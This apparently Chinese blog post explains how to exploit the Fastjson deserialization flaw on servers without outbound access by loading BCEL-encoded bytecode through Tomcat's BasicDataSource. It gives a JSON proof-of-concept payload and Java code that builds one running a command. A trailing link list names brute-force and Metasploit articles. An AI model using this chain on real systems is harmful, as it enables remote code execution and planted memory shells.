Java安全之Fastjson内网利用
Java安全之Fastjson内网利用
0x00 前言
在打Fastjson的时候,基本上都是使用JNDI注入的方式去打,也就是
JdbcRowSetImpl 链分析的链去打,但是遇到一些不出网的情况就没办法使用该链去执行命令。JdbcRowSetImpl 链分析
但在看到kingx师傅的一篇[Java动态类加载,当FastJson遇到内网]后,陷入了沉思。
0x01 BCEL字节码
这用到的是BCEL字节码然后使用classload进行加载。但是思考到一个问题,为什么是使用BCEL也不是直接使用TemplatesImpl
链去做本地的命令执行呢?其实前文中提到过这TemplatesImpl
的漏洞触发点会有限制。调用parseObject()
方法时,需要加入Feature.SupportNonPublicField
参数。
而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader
的loadclass方法中可以进行bcel字节码的加载。
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
判断是否为$$BCEL$$
的话则调用createClass
方法,否则调用modifyClass
方法返回一个class,modifyClass
方法则是调用自带的classloader来加载。
来看到createClass
方法
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
截取$$BCEL$$
字节后面的内容然后进行解密,解密为class字节码,调用defineClass进行加载字节码。
com.sun.org.apache.bcel.internal.classfile.Utility
包中有BCEL字节码的解密和解密方法。
String s = Utility.encode(data,true);
byte[] bytes = Utility.decode(s, true);
0x02 利用链
添加tomcat依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
来看到poc
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
使用该poc加载bcel字节码。详细可移步到[Java动态类加载,当FastJson遇到内网]
编写一个test类
package com;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(test.class);
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}
需要打内存马替换为内存马class即可。
在tomcat8以后和tomcat7的版本存在一点小差异
tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource
,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource
0x03 结尾
即便如此我个人依然觉得fastjson并不能算是一个利用比较舒服的洞。而在实际中遇到更多的可能只是去进行反弹shell利用,需要使用becl必须考虑到fastjson版本问题。或在利用RMI/LDAP的话也会有JDK版本限制。
Java安全之Fastjson内网利用的更多相关文章
- JAVA获取访问者的内网IP地址
/** * 获取访问者内网IP * @return the server ip */ public static String getIntranetIp() { // 本地IP,如果没有配置外网IP ...
- 【微信Java开发 --1】内网穿透外网,使用外网域名可以访问到本地项目
1.首先上https://natapp.cn/ 2.接下来在网站申请账号 3.购买免费隧道 4.为你的免费隧道设置名称以及端口号,由于本人本地的使用Tomcat做服务器,所以用惯了8080端口,因此设 ...
- 利用Metasploit 打入ThinkPHP内网...
出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图 Metasploi ...
- Linux内网环境DNS修改域名指向,JAVA应用程序能否实时切换的问题总结
公司内网环境中许多调用资源(数据库.web接口等)都是通过内网DNS服务来进行域名-IP的映射. 但经常出现DNS映射修改完毕后,应用中连接的资源迟迟没有变更. 以前一直笼统的认为是linux的dns ...
- [原创]利用Browser协议探测内网主机操作系统版本(无需端口无视防火墙)
利用Browser协议可获取机器IP.MAC.机器名.操作系统.域,如图 浏览 在SMB协议中,计算机为了访问网络资源,就需要了解网络上存在的资源列表(例如在Windows下使用网络邻居查看可以访问的 ...
- SpringBoot之解决云服务器VPS在所处云端集群的内网不能解析域名的问题:java.net.UnknownHostException:abc.cn: Temporary failure in name resolution
一.起因与原因分析过程 前端小伙伴儿告诉我,说服务器崩了. 请求数据接口,接口有响应,但报的json提示指向:数据库异常错误. 遂登陆云主机查看日志,核心记录显示如下: 2018-11-09 22:1 ...
- [转帖]利用hydra(九头蛇)暴力破解内网windows登录密码
利用hydra(九头蛇)暴力破解内网windows登录密码 https://blog.csdn.net/weixin_37361758/article/details/77939070 尝试了下 能够 ...
- 利用端口映射解决:拥有公网IP有限,内网需要访问因特网
动态端口映射: 内网中的一台电脑要访问新浪网,会向NAT网关发送数据包,包头中包括对方(就是新浪网)IP.端口和本机IP.端口,NAT网关会把本机IP.端口替换成自己的公网IP.一个未使用的端口, ...
- 利用iptables的NAT代理实现内网访问外网
利用NAT代理实现内网访问外网 背景及原理 若局域网中的两台计算机只能有一台能够访问外网,而这两台计算机之间能相互通信,那么可以配置能访问外网的那台服务器实现路由器的功能,即实现其他机器的NAT转换, ...
随机推荐
- Summer——从头开始写一个简易的Spring框架
Summer--从头开始写一个简易的Spring框架 参考Spring框架实现一个简易类似的Java框架.计划陆续实现IOC.AOP.以及数据访问模块和事务控制模块. ...
- oo——第三单元总结
前言 第三单元是我们学习oo以来第一次接触JML.这一单元的三次作业和以前一样,采用了难度递进的方式,而且前一次作业的设计思路在下一次作业都多多少少有些体现(或者说是在其基础上做出的改进).而且本单元 ...
- 登录框-element-ui 样式调节
element-ui样式调节 首先设置布局 如果想要实现如下效果 需要两行,然后设置偏移,第一行中间只是站位,没有内容,可以考虑使用div占位,设置最小高度 el-card调整圆角 border-ra ...
- 怎么用CMD命令进入D盘
怎么用CMD命令进入D盘 太平洋电脑网 已认证的官方帐号 6 人赞同了该文章 大家都知道win操作系统想要打开D盘,直接点我的电脑就能进d盘了,有时候只能使用dos的情况下也利用系统自带的cmd命 ...
- mysql基础之数据库备份和恢复实操
一.基于二进制文件的恢复*** 1.算好要恢复数据的时间段,重定向输入到bin.sql文件中 [root@ren7 mysql]# mysqlbinlog --start-datetime=" ...
- STM32SD卡 (U盘)IAP升级
http://www.openedv.com/posts/list/65104.htm
- IT行业新闻事件
台积电: http://www.eefocus.com/component/394512 新闻合集: https://mail.qq.com/cgi-bin/frame_html?sid=q3Mhqr ...
- 关于Unity启动调用Android_id问题排查
问题:Unity启动时获取了设备信息,其中包括Android_id 以下是在androidstudio中的log,使用Xposed的LoginHook看到Unity启动时获取了android_id信息 ...
- Step By Step(Lua输入输出库)
Step By Step(Lua输入输出库) I/O库为文件操作提供了两种不同的模型,简单模型和完整模型.简单模型假设一个当前输入文件和一个当前输出文件,他的I/O操作均作用于这些文件.完整模型则使用 ...
- TVM Reduction降低算力
TVM Reduction降低算力 这是有关如何降低算力TVM的介绍材料.像sum / max / min这样的关联约简运算符是线性代数运算的典型构造块. 本文将演示如何降低TVM算力. from _ ...